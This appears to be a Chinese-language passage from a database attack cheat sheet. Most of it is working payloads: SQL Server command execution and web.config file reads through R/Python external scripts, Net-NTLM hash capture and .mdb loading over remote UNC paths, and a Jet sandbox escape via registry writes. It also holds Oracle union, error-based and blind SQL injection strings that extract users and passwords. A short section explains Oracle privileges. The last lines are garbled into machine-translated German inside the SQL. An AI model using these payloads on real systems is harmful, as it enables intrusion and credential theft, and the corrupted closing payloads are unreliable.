EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

-- 利用 R 抓取 Net-NTLM 哈希
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

-- Python脚本利用
-- 查看版本
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

-- 利用 Python 执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'

-- 利用 Python 读文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权)

AD Hoc 分布式查询允许从多个异构数据源(例如 SQL Server 的多个实例)访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后,登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。

攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。

利用条件

拥有 DBA 权限

sqlserver 服务权限为 system

服务器拥有 jet.oledb.4.0 驱动

-- 修改注册表,关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

-- 开启 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO
-- Until SQL Server 2012

EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1

-- SQL Server 2014 or later
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1

-- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可.
-- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令.
-- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令.

Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("whoami")');

select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');

Oracle

Oracle权限分类

权限是用户对一项功能的执行权力。在Oracle中,根据系统的管理方式不同,将 Oracle 权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体 (schema) 所拥有的权限。

系统权限管理

系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。

DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构

RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构

CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构

对于普通用户:授予connect,resource权限

对于DBA用户:授予connect,resource,dba权限

-- 系统权限授予命令:
          系统权限只能由DBA用户授出,也就是sys,system(这两个用户是最开始的两个DBA用户)
          授权命令:grant connect, resource, dba to username1 , username2...;
          普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收
          回收授权命令:revoke connect, resource, dba from system;

-- 查询用户拥有那些权限:
          select * from dba_role_privs;
          select * from dba_sys_privs;
          select * from role_sys_privs;

-- 查询自己拥有那些系统权限
          select * from session_privs;
         
-- 删除用户
          drop user [username] cascade; -- 加上cascade则将用户连同其创建的东西全部删除
         
-- 系统权限传递
          增加 WITH ADMIN OPTION 选项,则得到的权限可以传递。
          grant connect, resorce to user50 with admin option;
         
-- 系统权限回收,只能由DBA用户回收
          revoke connect, resource, dba from system;
         
-- 说明
          1. 如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
          2. 系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。

实体权限管理

实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

select, update, insert, alter, index, delete, all //all 包括所有权限

execute // 执行存储过程权限

-- 授权用户表操作
          grant select, update, insert on product to user02;
          grant all on product to user02;
          上述两条命令是 除drop之外所有对 product表的操作授予 user02 用户
         
-- 授予全部用户表的操作权限
          grant all on product to public; # all不包括 drop 权限
         
-- 实体权限传递
          grant select, update on product to user02 with grant option;
          user02得到权限,并可以传递。
         
-- 实体权限的回收
          Revoke select, update on product from user02;
          传递的权限将全部消失

-- 说明
          1. 如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。

角色管理

-- 建立一个角色
          create role role1;
         
-- 为角色授权
          grant create any table,create procedure to role1;
         
-- 授权角色给用户
          grant role1 to user1;
         
-- 查看角色所包含的权限
          select * from role_sys_privs;
         
-- 创建带有口令的角色(在生效带有口令的角色时必须提供口令)
          create role role1 identified by password1;
         
-- 修改角色,设置是否需要口令
          alter role role1 not identified;
          alter role role1 identified by password1;

-- 设置当前用户要生效的角色
          角色的生效是一个什么概念呢?假设用户a有b1,b2,b3三个角色,那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,只有角色生效了,角色内的权限才作用于用户,最大可生效角色数由参数MAX_ENABLED_ROLES设定;在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。
          set role role1; # 使role1生效
          set role role,role2; # 使role1,role2生效
          set role role1 identified by password1; # 使用带有口令的role1生效
          set role all; # 使用该用户的所有角色生效
          set role none; # 设置所有角色失效
          set role all except role1; # 除role1外的该用户的所有其它角色生效。
          select * from SESSION_ROLES; # 查看当前用户的生效的角色。
         
-- 修改指定用户,设置其默认角色
          alter user user1 default role role1;
          alter user user1 default role all except role1;
         
-- 删除角色
          drop role role1;
          角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。
         
-- 说明
          1. 无法使用WITH GRANT OPTION为角色授予对象权限
          2. 可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联

PL/SQL语言

PL/SQL 也是一种程序语言,叫做过程化 SQL 语言(Procedual Language/SQL)。

PL/SQL 是 Oracle 数据库对 SQL 语句的扩展。在普通 SQL 语句的使用上增加了编程语言的特点,所以 PL/SQL 就是把数据操作和查询语句组织在 PL/SQL 代码的过程性单元中,通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在 PL/SQL 编程语言是由甲骨文公司在 20 世纪 80 年代,作为 SQL 程序扩展语言和 Oracle 关系数据库开发。

基本结构如下:

DECLARE
   
BEGIN
   
EXCEPTION
   
END;

SQL 注入需注意的规则

Oracle 使用查询语言获取需要跟上表名,这一点和 Access 类似,没有表的情况下可以使用 dual 表,dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里面永远只有一条记录。

Oracle 的数据库类型是强匹配,所以在 Oracle 进行类似 Union 查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用 NULL 代替某些无法快速猜测出的数据类型位置,这一点和 SQL Server 类似。

Oracle 和 mysql 不一样,分页中没有 limit,而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0

Oracle 的单行注释符号是 --,多行注释符号 /**/

Oracle 数据库包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如 user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中 table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名。

Oracle 使用 || 拼接字符串(在 URL 中使用编码 %7c 表示),concat() 函数也可以实现两个字符串的拼接

联合查询注入

Payload空格有问题,可以放在vscode中查看

# 判断注入点
所有数据库方式都一样

# 判断列数
依旧提交 order by 去猜测显示当前页面所用的 SQL 查询了多少个字段,也就是确认查询字段数。
?id=1 order by 3 --+
?id=1 order by 4 --+

# 判断回显点
?id=-1 union select null,null,null from dual --+
?id=-1 union select 1,'2','3' from dual --+

# 获取数据库基本信息
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+

# 获取数据库名,即用户名
Oracle 没有数据库名的概念,所谓数据库名,即数据表的拥有者,也就是用户名。
1. 获取第一个用户名
?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
2. 获取第二个用户名
?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+
      
3. 获取当前用户名
?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+

# 获取表名
1. 获取Test用户第一张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
2. 获取Test用户第二张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+

# 获取字段名
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+

# 获取数据
?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+

报错注入

在 oracle 注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL 仅使用函数报错即可),类似 mssql 报错注入的方式。

utl_inaddr.get_host_name ()

utl_inaddr.get_host_address 本意是获取 ip 地址,但是如果传递参数无法得到解析就会返回一个 oracle 错误并显示传递的参数。

我们传递的是一个 sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。

# 获取用户名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+

# 获取表名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+

# 获取字段名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+

# 获取数据
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

ctxsys.drithsx.sn ()

# 获取用户名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+

# 获取表名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+

# 获取字段名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+

# 获取数据
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

dbms_xdb_version.checkin ()

# 获取用户名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.makeversioned ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.uncheckout ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_utility.sqlid_to_sqlhash ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

ordsys.ord_dicom.getmappingxpath ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

XMLType ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+

布尔型盲注

decode()

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值 1 时,该函数返回值 2,否则返回值3,当然值 1,值 2,值 3 也可以是表达式,这个函数使得某些 sql 语句简单了许多

# 判断是否是TEST用户
?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+

# 猜解当前用户
?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+

# 猜解表名
?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+

# 猜解字段名
?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+

# 猜解数据
?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+

instr ()

instr 函数的使用,从一个字符串中查找指定子串的位置

select instr('123456789','12') position from dual;

Bild


可以使用该函数按位爆破,该函数返回是从1开始

?id=1 and (instr((select user from dual),'S'))=1 --+
?id=1 and (instr((select user from dual),'SY'))=1 --+
?id=1 and (instr((select user from dual),'SYS'))=1 --+

substr()

这个就和mysql 基本一致

# Datenlänge erraten ? id = 1 und ( select length ( user ) from dual) = 3 --+

# ASCII bitweises Sprengen ? id = 1 und ( wählen Sie ascii ( substr ( user , 1 , 1 )) von dual) = 65 --+